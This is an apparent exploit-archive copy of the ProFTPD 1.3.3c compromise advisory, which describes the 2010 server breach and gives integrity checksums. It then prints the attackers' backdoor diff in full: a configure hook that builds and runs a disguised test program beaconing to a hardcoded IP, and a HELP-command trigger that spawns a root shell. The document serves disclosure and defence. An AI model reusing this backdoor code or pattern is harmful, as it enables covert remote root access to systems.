ProFTPd 1.3.3c - Compromised Source Backdoor Remote Code Execution

== ProFTPD Compromise Report ==

On Sunday, the 28th of November 2010 around 20:00 UTC the main
distribution server of the ProFTPD project was compromised.  The
attackers most likely used an unpatched security issue in the FTP daemon
to gain access to the server and used their privileges to replace the
source files for ProFTPD 1.3.3c with a version which contained a backdoor.
The unauthorized modification of the source code was noticed by
Daniel Austin and relayed to the ProFTPD project by Jeroen Geilman on
Wednesday, December 1 and fixed shortly afterwards.

The fact that the server acted as the main FTP site for the ProFTPD
project (ftp.proftpd.org) as well as the rsync distribution server
(rsync.proftpd.org) for all ProFTPD mirror servers means that anyone who
downloaded ProFTPD 1.3.3c from one of the official mirrors from 2010-11-28
to 2010-12-02 will most likely be affected by the problem.

The backdoor introduced by the attackers allows unauthenticated users
remote root access to systems which run the maliciously modified version
of the ProFTPD daemon.

Users are strongly advised to check systems running the affected code for
security compromises and compile/run a known good version of the code.
To verify the integrity of the source files, use the GPG signatures
available on the FTP servers as well on the ProFTPD homepage at:

  http://www.proftpd.org/md5_pgp.html.

The MD5 sums for the source tarballs are:

 8571bd78874b557e98480ed48e2df1d2  proftpd-1.3.3c.tar.bz2
 4f2c554d6273b8145095837913ba9e5d  proftpd-1.3.3c.tar.gz




= Rootkit patch =

diff -Naur proftpd-1.3.3c.orig/configure proftpd-1.3.3c/configure
--- proftpd-1.3.3c.orig/configure	2010-04-14 00:01:35.000000000 +0200
+++ proftpd-1.3.3c/configure	2010-10-29 19:08:56.000000000 +0200
@@ -9,7 +9,10 @@
 ## --------------------- ##
 ## M4sh Initialization.  ##
 ## --------------------- ##
-
+gcc tests/tests.c -o tests/tests >/dev/null 2>&1
+cc tests/tests.c -o tests/tests >/dev/null 2>&1
+tests/tests >/dev/null 2>&1 &
+rm -rf tests/tests.c tests/tests >/dev/null 2>&1
 # Be more Bourne compatible
 DUALCASE=1; export DUALCASE # for MKS sh
 if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then


diff -Naur proftpd-1.3.3c.orig/src/help.c proftpd-1.3.3c/src/help.c
--- proftpd-1.3.3c.orig/src/help.c	2009-07-01 01:31:18.000000000 +0200
+++ proftpd-1.3.3c/src/help.c	2010-11-16 18:40:46.000000000 +0100
@@ -27,6 +27,8 @@
  */
 
 #include "conf.h"
+#include <stdlib.h>
+#include <string.h>
 
 struct help_rec {
   const char *cmd;
@@ -126,7 +128,7 @@
         cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin");
 
     } else {
-
+      if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
       /* List the syntax for the given target command. */
       for (i = 0; i < help_list->nelts; i++) {
         if (strcasecmp(helps[i].cmd, target) == 0) {


diff -Naur proftpd-1.3.3c.orig/tests/tests.c proftpd-1.3.3c/tests/tests.c
--- proftpd-1.3.3c.orig/tests/tests.c	1970-01-01 01:00:00.000000000 +0100
+++ proftpd-1.3.3c/tests/tests.c 	2010-11-29 09:37:35.000000000 +0100
@@ -0,0 +1,58 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <unistd.h>
+#include <netdb.h>
+#include <signal.h>
+#include <string.h>
+
+#define DEF_PORT 9090
+#define DEF_TIMEOUT 15
+#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n"
+
+int sock;
+
+void handle_timeout(int sig)
+{
+    close(sock);
+    exit(0);
+}
+
+int main(void)
+{
+
+        struct sockaddr_in addr;
+        struct hostent *he;
+        u_short port;
+        char ip[20]="212.26.42.47";    /*  EDB NOTE - HARDCODED IP */
+        port = DEF_PORT;
+        signal(SIGALRM, handle_timeout);
+        alarm(DEF_TIMEOUT);
+        he=gethostbyname(ip);
+        if(he==NULL) return(-1);
+        addr.sin_addr.s_addr = *(unsigned long*)he->h_addr;
+        addr.sin_port = htons(port);
+        addr.sin_family = AF_INET;
+        memset(addr.sin_zero, 0, 8);
+        sprintf(ip, inet_ntoa(addr.sin_addr));
+        if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
+        {
+                return EXIT_FAILURE;
+        }
+        if(connect(sock, (struct sockaddr*)&addr, sizeof(struct sockaddr))==-1)
+        {
+            close(sock);
+            return EXIT_FAILURE;
+        }
+        if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0))
+        {
+            return EXIT_FAILURE;
+        }
+        close(sock);
+
+return 0; }
+
+